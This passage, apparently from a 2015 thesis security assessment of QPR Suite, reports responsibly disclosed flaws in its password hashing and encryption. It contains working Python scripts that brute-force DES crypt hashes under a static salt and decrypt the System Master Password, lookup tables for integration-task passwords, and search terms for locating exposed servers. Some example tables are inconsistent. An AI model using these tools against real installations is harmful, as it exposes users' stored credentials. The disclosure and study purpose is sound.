This vulnerability report describes the user password hashing scheme used by QPR 
Suite, and includes a proof of concept tool to brute-force passwords of up to four char-
acters in length. 
 
 
Reported to QPR Software on: 31.8.2015 
Fix planned by QPR Software to: Upcoming Major release, Suite 2016.1 
QPR uses an old password hashing algorithm “DES crypt” (also known as crypt(3)) to 
hash user passwords. A limitation of this hash format is that only the first 8 characters of 
the password are used. Normally this hash format would also use a random salt, which 
is used to prevent attacking the hashes in parallel (a single attacker generated hash can 
be compared to all the hashes stored in the DB) and force the attacker to sequentially 
attack each hash. QPR seems to use a static salt “fK” across all installations and ver-
sions, which makes parallel cracking attacks possible. 
CPU attacks against alphanumeric passwords of up to 4 characters are possible in a 
day, and GPU attacks against eight characters passwords are viable. Optimal results are 
obtained by using a premade password dictionary. 
Listing 2 is a Python script that will brute force alphanumeric passwords of up to four 
characters in length, using the salt “fK”. For larger key spaces the GPU assisted oclHash-
cat is recommended. 
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import itertools, sys, datetime, csv 
from passlib.hash import des_crypt  # https://pythonhosted.org/passlib/index.html 
 
# set up the character set 
alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 
            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 
            'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
            'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] 
 
# max number of characters in the password (8 is the maximum supported by crypt(3)) 
maxchar = 4 
# static salt for the passwords 
salt = 'fK' 
# location of the csv file, in format: username,hash 
f = open('c:/temp/hash.txt') 
# read the file contents  
reader = csv.reader(f) 
# put the file contents in to dictionary hash:username 
book = {rows[-1]:rows[0] for rows in reader} 
# get the number of entries in the dictionary 
entries = len(book) 
 
print("%s %s hashes loaded" % (datetime.datetime.now(), entries)) 
 
# loop through all combinations of characters, from length 1 to 4 
for round in range(1, maxchar + 1): 
        print("%s current char length: %s, hashes left: %s" 
        % (datetime.datetime.now(), round, entries)) 
 
        keywords = [''.join(i) for i in itertools.product(alphabet, repeat=round)] 
 
        # for each combination, generate a crypt(3) hash, and compare it 
        for word in keywords: 
                hash = (des_crypt.encrypt(word, salt=salt)) 
 
                # if match: print username, password and decrement entries 
                if hash in book: 
                        uname = book[hash] 
                        print("%s password found for user %s : %s" 
                        % (datetime.datetime.now(), uname, word)) 
 
                        entries -= 1 
 
                        # if all passwords have been found, exit 
                        if entries == 0: 
                                print("%s all passwords found" 
                                % (datetime.datetime.now())) 
 
                                sys.exit(0) 
 
# if not all passwords could be found, inform and exit 
print("%s done, %s hashes were not identified." 
      % (datetime.datetime.now(), entries)) 
 
sys.exit(0) 
 
Listing 2. A Python script to brute force crypt(3) password hashes. 
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6.5 Decrypting QPR_Servers.ini Cryptography 
This vulnerability report describes the System Master Password and database connec-
tion password encryption schemes used by QPR Suite, and includes a proof of concept 
tool to decrypt the first four characters of this encryption algorithm. 
 
Reported to QPR Software on: 31.8.2015 
Fix planned by QPR Software to: Upcoming Major release, Suite 2016.1 
The QPR System Master Password and database password are stored in an encrypted 
format in the QPR_Server.ini file. Table 4 shows example plaintext passwords and the 
encryption results. 
Table 4: Example plaintext and encryption outputs of System Master Password. 
Plaintext Encrypted 
aaaa %7D%89%81y 
bbbb z%8c%84z 
cccc %7B%8B%83%7B 
dddd %7D%8C%83t 
abcd %7D%8C%83t 
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The other characters in the password do not affect the encryption result, which means 
that the encryption format encrypts each character individually. By comparing the gen-
erated passwords, it can be seen that a “%” sign signifies that the next two characters 
in the encryption result match to a single plaintext character. 
Table 5: Showing the mapping between plaintext and encrypted characters. 
Plaintext Encrypted 
a a a a %7D %89 %81 y 
b b b b z %8c %84 z 
c c c c %7B %8B %83 %7B 
d d d d %7D %8C %83 t 
a b c d %7D %8C %83 t 
Using  table 5 as a guide, the plaintext “dcba” should encrypt to “x%8B%84y”. 
Entering “dcba” as the System Master Password confirms that this is indeed the case. 
Further analysis shows that if the encryption results in a printable ASCII character, it is 
shown as it is, for example the “x” and “y” characters in the previous example. If the en-
cryption results in an extended or non-printable ASCII character, its hex value is shown 
instead, preceded by a “%” sign, as demonstrated by the “%8B” and “%84” in the previ-
ous example. 
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By enumerating different plaintext passwords, a table showing the operations done to 
each character can be built. 
For the first character of the password, the following operations are done: 
 Value of first printable ASCII character (SPACE) set to 188 
 Moving down the list of ASCII character values in base10, alternating +1 and -3 
operations are done. 
 After every 16 characters, an additional alternating operation of +/-32 is done. 
For the second character of the password, the value of SPACE is set to 74, and the 
operations that are done are: 
 Alternating +1 and -3 
 Alternating +/-8 after every fourth character 
 Alternating +/-32 after every 16 characters 
For the third character of the password, the value of SPACE is set to 194 and the oper-
ations that are done are: 
 Alternating -1 and +3 
 -32 after every 16 characters 
 Alternating +/-64 after every 32 characters 
For the fourth character of the password, the value of SPACE is set to 95 and the oper-
ations that done are: 
 +1 
 -8 after every fourth character 
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 +32 after every 16 characters 
 Alternating +/-64 after every 32 characters 
The rest of the characters in the password are handled in a similar manner. 
As this encryption format proved to be quite simple, there are multiple different ways to 
attack it. An easy way would be to use passwords like “aaaaaaaaaa” to generate a 
lookup table from the encryption results. Another harder way would be to create a 
script to decrypt the encryption. For this security vulnerability report I have opted to cre-
ate the decryption script in Python, available in appendix 1. 
6.6 Decrypting Integration Task Cryptography 
This vulnerability report describes the Integration Task password encryption scheme 
used by QPR Suite, and includes instructions on how to use look-up tables to defeat this 
encryption algorithm. 
 
Reported to QPR Software on: 4.11.2015, Request ID: #QPR223767 
Fix planned by QPR Software to: Upcoming Major release, Suite 2016.1 
DBBlobEditor is a software tool that can read and edit database blob files. Blob files can 
be used to store, for example, pictures and text in the database. In this case the integra-
tion task details, including the password, are stored in a blob container in the SC_INTE-
GRATION table, as shown in figure 17. [17,37] 
 
Figure 17: DBBlobEditor showing the contents of an integration task blob in the database. 
Figure 17 shows that the blob contains the SQL query in plaintext, but the username 
(integuser) and the password (SecretpwdINTEG) for the remote database have been 
encrypted. 
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By observing the encryption result of different passwords, a pattern begins to emerge: 
a .S 
b .r 
c .b 
d -C 
aa .Q i 
ab .Q e 
ac .Q a 
ad .Q X 
aaaa .Q f w GJ 
bbbb .t f x Hk 
cccc .d b w HZ 
dddd -A w w GJ 
eeee -Q z X G3 
abcd .Q f w GJ 
Each character in the password is encrypted to either a single character or two charac-
ters. Each additional character in the password changes the outcome of some of the 
encryption results. Because the encryption result is governed by the length of the pass-
word, and not the contents of the password, this encryption algorithm is vulnerable to a 
simple look-up table, as shown in table 6. 
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Table 6: Look-up table from “a” to “e” for four character integration task passwords. 
 a b c d e 
1 .Q .t -d -A -Q 
2 j f b W z 
3 y x w W X 
4 H3 Hk HZ GJ G3 
According to table 6, the password “edcb” should encrypt to: -Q W w HK. Figure 18 
confirms that this is correct. 
 
Figure 18: Integration Task encryption result for the password “edcb”. 
Figure 18 also shows that the username is encrypted to “–AfmLyP3”, using table 6 as a 
guide, the first two letters can be decrypted to: “db“  
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7 Finding QPR Servers on the Public Internet 
Shodan, Google and Bing can be used to find publicly available QPR installations on the 
internet. Each of these search engines produces some of the same results, but they also 
give non overlapping results. The search terms “qpr.isapi.dll” and “QPR Web Application 
Server” provide the best results. [41.] 
Shodan especially gives results mostly from the domain <company>.onqpr.com, all of 
which it identifies as being hosted on Amazon Web Services (AWS). Even though the 
domain has been registered via a privacy service, it is safe to assume that it belongs to 
QPR Software and is used to host systems for their customers. [42;43.]  
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8 Conclusions 
The aim of this security assessment was to investigate if there are any security vulnera-
bilities present in QPR Software’s Suite 2015.1, within the scope of cryptography and 
network traffic, and to report any such findings to QPR Software according to the guide-
lines of responsible disclosure, so that the security vulnerabilities can be fixed before this 
thesis is published at the end of 2015. 
While multiple security vulnerabilities were uncovered during the assessment, I am es-
pecially worried about the security of the Scorecard Application Server, as it does not 
properly handle server authentications, user authentications, or use encrypted commu-
nications even when that option is explicitly turned on, and the use of cryptography 
throughout the software suite – all of the tested cryptographic algorithms were broken 
during this security assessment. Feedback from QPR Software has also been nonexist-
ent. When directly asked close to the publishing date, QPR Software communicated back 
that they are planning on correcting all the reported vulnerabilities to the next major ver-
sion (2016.1.0), to be released in the first half of 2016. 
Due to the number and severity of the security vulnerabilities identified, I would recom-
mend that QPR Software immediately contracts a reliable information security company 
to do a full assessment of their software products, and most importantly – act on the 
findings. 
44 
  
References  
1. eVAL. Penetration Testing [online]. Columbus, OH: eVAL. 
URL: https://eval.agency/services/penetration-testing 
Accessed 15 of November 2015. 
2. QPR Software. QPR in Brief [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/company/qpr-brief 
Accessed 15 of November 2015. 
3. QPR Software. Find a Local Reseller [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/partners/find-local-reseller 
Accessed 15 of November 2015.  
4.  QPR Software. Customer Success Stories [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/customers 
Accessed 15 of November 2015.  
5. QPR Software. QPR ProcessDesigner [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/products/qpr-processdesigner 
Accessed 15 of November 2015. 
6.  QPR Software. QPR EnterpriseArchitect [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/products/qpr-enterprisearchitect 
Accessed 15 of November 2015. 
7.  QPR Software. QPR Metrics [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/products/qpr-metrics 
Accessed 15 of November 2015. 
8.  QPR Software. QPR Suite [online]. Helsinki, FI: QPR Software. 
URL: http://www.qpr.com/products/qpr-suite 
Accessed 15 of November 2015. 
9. Chris E, Eric G, Neel M, Matt M, Tavis O, Julien T, Michal Z, Google Security 
Team. Rebooting Responsible Disclosure [online]. Mountain View, CA: Google; 
Jan. 20, 2010. 
URL: https://googleonlinesecurity.blogspot.fi/2010/07/rebooting-responsible-disclo-
sure-focus.html 
Accessed 15 of November 2015. 
10. Bruce Schneier. Crypto-gram, Full Disclosure [online].  Cambridge, MA: Counter-
pane Internet Security; 15 November 2001. 
URL: https://www.schneier.com/crypto-gram/archives/2001/1115.html#1 
Accessed 15 of November 2015. 
  
45 
  
11. CERT. Vulnerability Disclosure Policy [online]. Pittsburgh, PA: CERT. 
URL: https://www.cert.org/vulnerability-analysis/vul-disclosure.cfm 
Accessed 15 of November 
12. Laurie Williams. Testing Overview and Black-Box Testing Techniques [online]. Ra-
leigh, NC: North Carolina State University; 2006. 
URL: http://agile.csc.ncsu.edu/SEMaterials/BlackBox.pdf 
Accessed 15 of November 
13. Institute of Electrical and Electronics Engineers (IEEE) Standards Association. 
24765-2010 Systems and Software Engineering Vocabulary [online]. Piscataway, 
NJ: IEEE Standards Association; 15 December 2010.  
URL: https://standards.ieee.org/findstds/standard/24765-2010.html 
Accessed 15 of November 
14.  Institute of Electrical and Electronics Engineers (IEEE) Standards Association. 
24765-2010 Systems and Software Engineering Vocabulary [online]. Lansing, MI: 
Michigan State University.  
URL: http://www.cse.msu.edu/~cse435/Handouts/Standards/IEEE24765.pdf 
Accessed 15 of November 
15.  QPR Software. QPR Knowledge Base 2015.1 - Server Locations [online]. Helsinki, 
FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/server_locations.htm 
Accessed 15 of November 
16. Microsoft.  Microsoft SQL Server 2014 Express [online]. Redmond, WA: Microsoft; 
1 April 2014. 
URL: http://www.microsoft.com/fi-fi/server-cloud/products/sql-server-editions/sql-
server-express.aspx 
Accessed 15 of November 
17.  Withdata Software. DBBlobEditor [online]. Santa Barbara, CA; 27 March 2015. 
URL: http://www.withdata.com/dbblobeditor/ 
Accessed 15 of November 
18.  Wireshark. Wireshark [online]. San Jose, CA; 14 October 2015. 
URL: https://www.wireshark.org/ 
Accessed 15 of November 
19.  QPR Software. QPR Knowledge Base 2015.1 - Database Operations [online]. Hel-
sinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/databasetab.htm 
Accessed 15 of November 
20.  QPR Software. QPR Knowledge Base 2015.1 - Logging into the User Manage-
ment System [online]. Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/loggingintotheusermanageme.htm 
Accessed 15 of November 
46 
  
21. QPR Software. QPR Knowledge Base 2015.1 - Connect to QPR Metrics Server 
[online]. Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/sc_tg_overview.htm 
Accessed 15 of November 
22.  QPR Software. QPR Knowledge Base 2015.1 - LDAP User and Group Import 
[online]. Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/ldap_user_import.htm 
Accessed 15 of November 
23.  QPR Software. QPR Knowledge Base 2015.1 - NT User and Group Import 
[online]. Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/nt_user_import.htm 
Accessed 15 of November 
24.  QPR Software. QPR Knowledge Base 2015.1 - Adding and Modifying Users 
[online]. Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/adding_and_modifying_users.htm 
Accessed 15 of November 
25.  QPR Software. QPR Knowledge Base 2015.1 - Authentication Methods [online]. 
Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/authenticationmethods.htm 
Accessed 15 of November 
26. QPR Software. QPR Knowledge Base 2015.1 – Starting [online]. Helsinki, FI: QPR 
Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/starting.htm 
Accessed 15 of November 
27.  QPR Software. QPR Knowledge Base 2015.1 - QPR UMS Database Tables 
[online]. Helsinki, FI: QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/appendixadatabasestructure_2.htm 
Accessed 15 of November 
28.  Michael Kerrisk. Linux Programmer’s Manual - CRYPT(3) [online]. man7; 8 August 
2015. 
URL: http://man7.org/linux/man-pages/man3/crypt.3.html 
Accessed 15 of November 
29.  Question Defense?. Hash Analyzer [online]. Question Defense?. 
URL: http://tools.question-defense.com/hash-analyzer/  
Accessed 1 of November 
30.  Jan Bogutzki. Crypt [online]. Hannover, GE: functions-online. 
URL: https://www.functions-online.com/crypt.html 
Accessed 15 of November 
47 
  
31.  Defuse Security. Salted Password Hashing - Doing it Right [online]. Canada: 
CrackStation; 6 August 2015. 
URL: https://crackstation.net/hashing-security.htm 
Accessed 15 of November 
32.  M. Douglas McIlroy. A Research UNIX Reader: Annotated Excerpts from the Pro-
grammer’s Manual, 1971-1986 [online]. Hanover, NH: Dartmouth College; 1987. 
URL: http://www.cs.dartmouth.edu/~doug/reader.pdf  
Accessed 15 of November 
33.  T Alexander Lystad. oclHashcat Benchmarking [online]. The Password Project; 12 
March 2012. 
URL: http://thepasswordproject.com/oclhashcat_benchmarking 
Accessed 15 of November 
34.  Ross Dickey. Taking a Closer Look at Cracked Ashley Madison Passwords 
[online]. Avast!; 7 September 2015. 
URL: https://blog.avast.com/2015/09/07/taking-a-closer-look-at-cracked-ashley-
madison-passwords/ 
Accessed 15 of November 
35. Chester W, Beth J, Richard W. LinkedIn Confirms Hack, Over 60% of Stolen Pass-
words Already Cracked [online]. Sophos naked security; 6 June 2015. 
URL: https://nakedsecurity.sophos.com/2012/06/06/linkedin-confirms-hack-over-
60-of-stolen-passwords-already-cracked/ 
Accessed 15 of November 
36.  CrackStation. CrackStation's Password Cracking Dictionary [online]. CrackStation; 
28 September 2015. 
URL: https://crackstation.net/buy-crackstation-wordlist-password-cracking-diction-
ary.htm 
Accessed 15 of November 
37. QPR Software. QPR Knowledge Base 2015.1 - QPR Metrics Database Tables 
[online]. Helsinki, FI. QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/appendixadatabasestructure.htm 
Accessed 15 of November 
38.  QPR Software. QPR Knowledge Base 2015.1 - Appendix A: QPR .ini Files [online]. 
Helsinki, FI. QPR Software; 2015. 
URL: http://kb.qpr.com/qpr2015-1/appendix_a_qpr_ini_files.htm 
Accessed 15 of November 
39.  Dr. Jimbob. Why Shouldn’t We Roll Our Own? [online]. Security Stack Exchange; 
6 August 2012. 
URL: http://security.stackexchange.com/questions/18197/why-shouldnt-we-roll-
our-own/18198#18198 
Accessed 15 of November 
48 
  
40.  Bruce Schneier. Schneier on Security [online]. Cambridge, MA: Counterpane Inter-
net Security; 15 April 2011. 
URL: https://www.schneier.com/blog/archives/2011/04/schneiers_law.html 
Accessed 15 of November 
  
41.  Shodan. The Search Engine Got Internet-connected Devices [online]. Shodan. 
URL: http://www.shodan.io 
Accessed 15 of November 
42.  Tucows domains. Whois Lookup [online]. Toronto, CA-ON: Tucows domains.  
URL: http://www.tucowsdomains.com/whois 
Accessed 15 of November 
43.  ContactPrivacy. Contact Domain Owner [online]. ContactPrivacy. 
URL: https://www.contactprivacy.com/ 
Accessed 15 of November 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  
Appendix 1 
1 (4) 
  
 
Python Script to Decrypt QPR System Master Password 
The following plaintext passwords and their encryption results are provided for conven-
ience, allowing this script to be tested in practice: 
abcd %7D%8C%83t 
5678 %C98%B7@ 
QPRR %ADZT%AA 
"#%& %BAK%C56 
!hM} %BD%92m%7D 
demo x%85%8Do 
This Python script will decrypt the first four characters of the encryption format used by 
QPR Suite to encrypt the QPR System Master Password and the ODBC connection 
password: 
import sys 
 
# list to hold the encrypted password 
hlist = [] 
 
# common action done during decryption 
def decmod(dec): 
    if dec % 2 != 0: 
        dec -= 3 
    else: 
        dec -= 1 
    return dec 
 
# password decrypted, print out the result and exit 
def done(decrypted): 
    print (decrypted) 
    sys.exit(0) 
 
# expect the encrypted password as a CMD argument     
if len (sys.argv) != 2: 
    print ("invalid number of CMD arguments") 
    sys.exit(0) 
     
enc = sys.argv[1] 
j = len(enc) 
i = 0 
 
# parse the CMD argument and put the individual characters in hlist 
while i < j: 
    if enc[i] != "%": 
        temp = ord(enc[i]) 
        hlist.append(temp) 
        i += 1 
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    else: 
        temp = "0x" + str(enc[i+1]) + str(enc[i+2]) 
        temp = int(temp, 0) 
         
        hlist.append(temp) 
        i += 3 
 
x =len(hlist)         
 
# decrypt the first character of the password 
dec1 = hlist[0] 
 
if (dec1 >= 174 and dec1 <= 189) or (dec1 >= 142 and dec1 <= 157) \ 
    or (dec1 >= 110 and dec1 <= 125): 
     
    dec1 = 223 - dec1 
    if dec1 % 2 == 0: 
        dec1 -= 1 
 
    else: 
        dec1 -= 3 
 
elif (dec1 >= 190 and dec1 <= 205) or (dec1 >= 158 and dec1 <= 173) \ 
    or (dec1 >= 126 and dec1 <= 141): 
     
    dec1 = 223 - dec1 
    dec1 = dec1 +32 
    if dec1 % 2 == 0: 
        dec1 -= 1 
 
    else: 
        dec1 -= 3 
 
decrypted = chr(dec1) 
x -= 1 
 
if x == 0: 
    done(decrypted) 
 
# decrypt the second character of the password     
dec2 = hlist[1] 
 
if (dec2 >= 73 and dec2 <= 76) or (dec2>= 81 and dec2 <= 84) \  
    or (dec2>= 105 and dec2 <= 108) or (dec2>= 113 and dec2 <= 116) \ 
    or (dec2>= 137 and dec2 <= 140) or (dec2>= 145 and dec2 <= 148): 
     
    dec2 = dec2 - 31 - 8 
    dec2 = decmod(dec2) 
 
elif (dec2 >= 69 and dec2 <= 72) or (dec2 >= 77 and dec2 <= 80) \ 
    or (dec2>= 101 and dec2 <= 104) or (dec2>= 109 and dec2 <= 112) \ 
    or (dec2>= 133 and dec2 <= 136) or (dec2>= 141 and dec2 <= 144): 
     
    dec2 = dec2 - 31 
    dec2 = decmod(dec2) 
         
elif (dec2 >= 57 and dec2 <= 60) or (dec2 >= 65 and dec2 <= 68) \ 
    or (dec2 >= 89 and dec2 <= 92) or (dec2 >= 97 and dec2 <= 100) \ 
    or (dec2>= 121 and dec2 <= 124) or (dec2>= 129 and dec2 <= 132): 
     
    dec2 = dec2 - 31 - 8 + 32 
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    dec2 = decmod(dec2) 
         
elif (dec2 >= 53 and dec2 <= 56) or (dec2 >= 61 and dec2 <= 64) \ 
    or (dec2 >= 85 and dec2 <= 88) or (dec2 >= 93 and dec2 <= 96) \ 
    or (dec2>= 117 and dec2 <= 120) or (dec2>= 125 and dec2 <= 128): 
     
    dec2 = dec2 - 31 + 32 
    dec2 = decmod(dec2) 
 
decrypted = decrypted + chr(dec2) 
x -= 1 
 
if x == 0: 
    done(decrypted) 
 
# decrypt the third character of the password     
dec3 = hlist[2] 
 
if (dec3 >= 193 and dec3 <= 208): 
    dec3 = (dec3 - 159) 
    dec3 = decmod(dec3) 
 
elif (dec3 >= 177 and dec3 <= 192): 
    dec3 = (dec3 - 159 + 32) 
    dec3 = decmod(dec3) 
     
elif (dec3 >= 97 and dec3 <= 112) or (dec3 >= 129 and dec3 <= 144): 
    dec3 = (dec3 - 159 + 32 + 32 + 64) 
    dec3 = decmod(dec3) 
     
elif (dec3 >= 81 and dec3 <= 96) or (dec3 >= 113 and dec3 <= 128): 
    dec3 = (dec3 - 159 + 32 + 32 + 32 + 64) 
    dec3 = decmod(dec3) 
 
decrypted = decrypted + chr(dec3) 
x -= 1 
 
if x == 0: 
    done(decrypted) 
 
# decrypt the fourth character of the password     
dec4 = hlist[3] 
 
if (dec4 >= 56 and dec4 <= 59) or (dec4 >= 72 and dec4 <= 75) \ 
    or (dec4 >= 120 and dec4 <= 123) or (dec4 >= 136 and dec4 <= 139): 
     
    dec4 = (dec4 - 95 + 8 + 64) 
    dec4 -= 1 
     
elif (dec4 >= 52 and dec4 <= 55) or (dec4 >= 68 and dec4 <= 71) \ 
    or (dec4 >= 116 and dec4 <= 119) or (dec4 >= 132 and dec4 <= 135): 
     
    dec4 = (dec4 - 95 + 8 + 8 + 64) 
    dec4 -= 1 
 
elif (dec4 >= 48 and dec4 <= 51) or (dec4 >= 64 and dec4 <= 67) \ 
    or (dec4 >= 112 and dec4 <= 115) or (dec4 >= 128 and dec4 <= 131): 
     
    dec4 = (dec4 - 95 + 8 + 8 + 8 + 64) 
    dec4 -= 1 
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elif (dec4 >= 44 and dec4 <= 47) or (dec4 >= 60 and dec4 <= 63) \ 
    or (dec4 >= 108 and dec4 <= 111) or (dec4 >= 124 and dec4 <= 127): 
     
    dec4 = (dec4 - 95 + 8 + 8 + 8 + 8 + 64) 
    dec4 -= 1 
 
elif (dec4 >= 152 and dec4 <= 155) or (dec4 >= 168 and dec4 <= 171): 
     
    dec4 = (dec4 - 95 + 8) 
    dec4 -= 1 
     
elif (dec4 >= 148 and dec4 <= 151) or (dec4 >= 164 and dec4 <= 167): 
     
    dec4 = (dec4 - 95 + 8 + 8) 
    dec4 -= 1 
     
elif (dec4 >= 144 and dec4 <= 147) or (dec4 >= 160 and dec4 <= 163): 
     
    dec4 = (dec4 - 95 + 8 + 8 + 8) 
    dec4 -= 1 
     
elif (dec4 >= 140 and dec4 <= 143) or (dec4 >= 156 and dec4 <= 159): 
     
    dec4 = (dec4 - 95 + 8 + 8 + 8 + 8) 
    dec4 -= 1 
  
decrypted = decrypted + chr(dec4) 
done(decrypted) 
  
sys.exit(0) 
 
Listing 1. A Python script to decrypt the QPR System Master Password. 
